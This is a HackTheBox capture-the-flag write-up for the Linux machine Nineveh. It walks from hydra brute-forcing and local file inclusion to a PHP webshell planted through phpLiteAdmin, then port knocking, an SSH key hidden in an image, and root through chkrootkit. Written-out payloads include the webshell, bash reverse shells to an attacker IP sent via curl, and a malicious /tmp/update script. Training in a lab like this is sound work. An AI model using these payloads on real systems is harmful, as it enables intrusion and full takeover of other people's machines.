Overview

Nineveh is a medium HackTheBox Linux machine that runs two separate web applications across HTTP and HTTPS. Brute-forced credentials unlock a department portal with a local file inclusion bug, but LFI alone isn’t enough for execution, a phpLiteAdmin instance on the HTTPS side is used to plant a malicious database file that the LFI can then include and run as PHP. An SSH private key hidden inside an image with steganography grants access to a second user, gated behind port knocking, and root comes from a scheduled chkrootkit scan that blindly executes a file at a predictable path.

Attack Chain

  • Scan the target and find only HTTP and HTTPS
  • Add nineveh.htb to /etc/hosts
  • Fuzz port 80 and find a /department login portal
  • Brute force the username and then the password with hydra
  • Log in and find a Notes page hinting at a local file inclusion path requiring the string ninevehNotes
  • Confirm LFI once that string is included in the path
  • On port 443, fuzz and find secure_notes and db
  • Recover a hidden SSH private key from an image using strings (or binwalk extraction as an alternative)
  • Identify db as a phpLiteAdmin 1.9 login and brute force its password with hydra
  • Log in and rename a database to ninevehNotes.php, embedding a PHP webshell payload inside it
  • Combine the phpLiteAdmin-planted file with the LFI to achieve remote code execution
  • Get a reverse shell as www-data
  • Find a mail hint suggesting port knocking is required to reach SSH
  • Confirm the exact knock sequence via /etc/knockd.conf
  • Perform the port knock with a scripted nmap loop, opening port 22
  • Use the recovered SSH key to log in as amrois and read the user flag
  • Find a cron job running report-reset.sh, and use pspy64 to observe chkrootkit running periodically as root
  • Exploit a known chkrootkit vulnerability by placing a malicious script at /tmp/update
  • Catch a root shell when the cron-triggered scan executes it
  • Read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.1.241; export NAME=NINEVEH; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

80,443

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

nmap results

We add nineveh.htb to our /etc/hosts.


Web Enumeration

Port 80 - Finding /department

Browsing to port 80 shows a basic Apache landing page.

Apache landing page

dirsearch -u http://nineveh.htb/ -t 100 -o ./scans/dirsearch_${NAME}_default.txt -x 403 -r

dirsearch results

Web fuzzing also finds /info.php.

finding /info.php

We fuzz further.

ffuf -u http://nineveh.htb/FUZZ -c -ic -r -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 | tee scans/fuf_${NAME}_${PORT}_dir23med.txt

We find /department.

ffuf finds /department

Brute Forcing /department

We try test:test and get an invalid username error, meaning we can brute force the username.

test:test returns invalid username

We try admin:admin and get Invalid Password, the admin user is confirmed.

admin username confirmed

We use hydra to brute force the password.

hydra -l admin -P /usr/share/wordlists/rockyou.txt nineveh.htb http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password"

We find a password.

hydra finds the password

admin:1q2w3e4r5t

We log in and see an Under Construction message.

logged in, Under Construction

Finding the LFI

We navigate to Notes and find interesting information: a secret folder and a potential file path for exploiting LFI.

Notes page hints at LFI

Based on the web path, we try LFI:

http://nineveh.htb/department/manage.php?notes=files/../../../etc/passwd

We get an error, No Note is selected.

LFI attempt returns No Note is selected

Including ninevehNotes in the payload works:

http://nineveh.htb/department/manage.php?notes=files/ninevehNotes/../../../../../../../etc/passwd

LFI succeeds with ninevehNotes in the path

Port 443 - secure_notes and db

Browsing to port 443 shows a basic page with a single image.

HTTPS landing page with a single image

We fuzz this site too.

ffuf -u https://nineveh.htb/FUZZ -c -ic -r -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 | tee scans/fuf_${NAME}_${PORT}_dir23med.txt

We find db and secure_notes. secure_notes is a single page containing an image.

secure_notes page with an image

Recovering a Hidden SSH Key

We download the image. exiftool reveals nothing, but strings finds an SSH key for the user amrois.

strings nineveh.png

strings reveals a hidden SSH key - part 1

strings output continued - part 2

We save the key on our attacking machine for later.

saving the recovered SSH key

Alternative way to get the SSH key: we use binwalk to examine the PNG.

binwalk nineveh.png

We see a tar archive embedded inside.

binwalk finds an embedded tar archive

We extract it.

binwalk -e nineveh.png

extracting with binwalk

The extracted folder contains the same SSH private key.

extracted folder contains the same key

confirming it’s the same key as before


Foothold

phpLiteAdmin Login

The /db endpoint is a login for phpLiteAdmin 1.9.

phpLiteAdmin login page

We find a public exploit for phpLiteAdmin 1.9.3:

https://www.exploit-db.com/exploits/24044

Since it only has a password field, we brute force it with hydra, using a request captured in BurpSuite and telling hydra not to expect a username.

hydra -l none -P /usr/share/wordlists/rockyou.txt nineveh.htb https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password" -v

We find a password.

hydra finds the phpLiteAdmin password

password123

We log in.

logged in to phpLiteAdmin

Combining phpLiteAdmin with LFI

We follow the exploit. We create a database called ninevehNotes.php, since our LFI vulnerability requires the string ninevehNotes to trigger, and rename the test database to it.

renaming the test database - step 1

renaming the test database - step 2

<?php system($_GET['cmd']); ?>

adding the webshell payload with single quotes

We first try ?cmd=id, but get an error message.

cmd=id returns an error

Changing to &cmd=id gives a syntax error instead.

cmd syntax error

We change our webshell payload from single quotes to double quotes:

<?php system($_GET["cmd"]); ?>

We save the changes.

saving the double-quoted payload

Full payload:

http://nineveh.htb/department/manage.php?notes=/var/tmp/ninevehNotes.php&cmd=id

We now have code execution.

code execution confirmed

Reverse Shell as www-data

We check the request in BurpSuite, specifically for the PHPSESSID, to move to curl.

capturing PHPSESSID in BurpSuite

For our curl command, we pipe the output through sed -n with a range selector /start_pattern/,/end_pattern/p, so it prints everything between the start and end of the range:

sed -n '/<pre>/,/<\/pre>/p'

Adding this to our curl command:

curl -s -H 'Cookie: PHPSESSID=8tidn8ccjtce96trvp9casgcp4' 'http://nineveh.htb/department/manage.php?notes=/var/tmp/ninevehNotes.php' --data-urlencode "cmd=id" -G --output - | sed -n '/<pre>/,/<\/pre>/p'

This gives much more readable output.

readable output via curl and sed

We start a penelope listener on port 443. Our first reverse shell attempt fails:

bash -i >& /dev/tcp/10.10.14.11/443 0>&1

Wrapping it in bash -c to ensure it executes with bash works instead:

bash -c 'bash -i >& /dev/tcp/10.10.14.11/443 0>&1'

Our curl payload:

curl -s -H 'Cookie: PHPSESSID=8tidn8ccjtce96trvp9casgcp4' 'http://nineveh.htb/department/manage.php?notes=/var/tmp/ninevehNotes.php' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.11/443 0>&1'" -G --output - | sed -n '/<pre>/,/<\/pre>/p'

We don’t get a response from the target itself.

no HTTP response after sending the payload

But we have a shell as www-data.

shell as www-data


Lateral Movement

Port Knocking

In /var/mail we find a file named amrois, suggesting port knocking, likely so we can use the SSH key found hidden in the image.

mail hints at port knocking

We could also find the port knocking configuration directly in /etc/knockd.conf, which confirms SSH on port 22 as the destination.

knockd.conf confirms the destination port

We use a for loop with nmap to perform the knock. Here’s a basic test:

for i in 571 290 911; echo $i

We pipe it to echo just to test the sequence.

testing the knock sequence with echo

For the real knock, we want to send exactly one packet to each port in the correct sequence, so we use -Pn, --max-retries 0 so the port doesn’t respond, and a short --host-timeout:

for i in 571 290 911; do nmap $IP -Pn --host-timeout 100 --max-retries 0 -p $i; done

The knock completes.

port knock sequence completes

Port 22 is now open.

port 22 now open

We set permissions on the SSH key we found earlier.

chmod 600 amrois.key

And connect.

ssh amrois@$IP -i amrois.key

We have a shell as amrois.

shell as amrois

We read the user flag.

user flag


Privilege Escalation

Finding chkrootkit

We run linpeas.sh and see a cron job called report-reset.sh.

linpeas finds the report-reset.sh cron job

We view the script and its permissions.

ls -la /usr/sbin/report-reset.sh
cat /usr/sbin/report-reset.sh

It belongs to amrois and deletes all .txt files in /report.

report-reset.sh belongs to amrois

We run pspy64 for 5 minutes.

timeout 5m ./pspy64

We see a lot of chkrootkit commands being executed.

pspy64 shows chkrootkit running periodically

Exploiting chkrootkit

We find a public exploit for chkrootkit where a file at /tmp/update gets executed as root:

https://www.exploit-db.com/exploits/33899

We create a reverse shell script called update and place it in /tmp. We start our penelope listener first.

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.11/443 0>&1

We create the script, make it executable with chmod +x, and wait.

creating and making the update script executable

We get a shell as root.

shell as root

We read the root flag.

root flag


Key Takeaways

Nineveh is a good example of how two individually limited vulnerabilities can combine into something neither could achieve alone: local file inclusion without write access is only a read primitive, but phpLiteAdmin’s ability to create and rename database files supplied the missing write access, turning the pair into full remote code execution. Steganography and port knocking added obscurity but not real security, once the hidden SSH key was found with basic tools like strings, the port knock sequence was just a matter of reading a config file. Root, in the end, came down to trusting a well-known security scanner (chkrootkit) that itself executed an attacker-writable file path without verification, a reminder that security tooling isn’t automatically exempt from the same scrutiny as any other privileged process.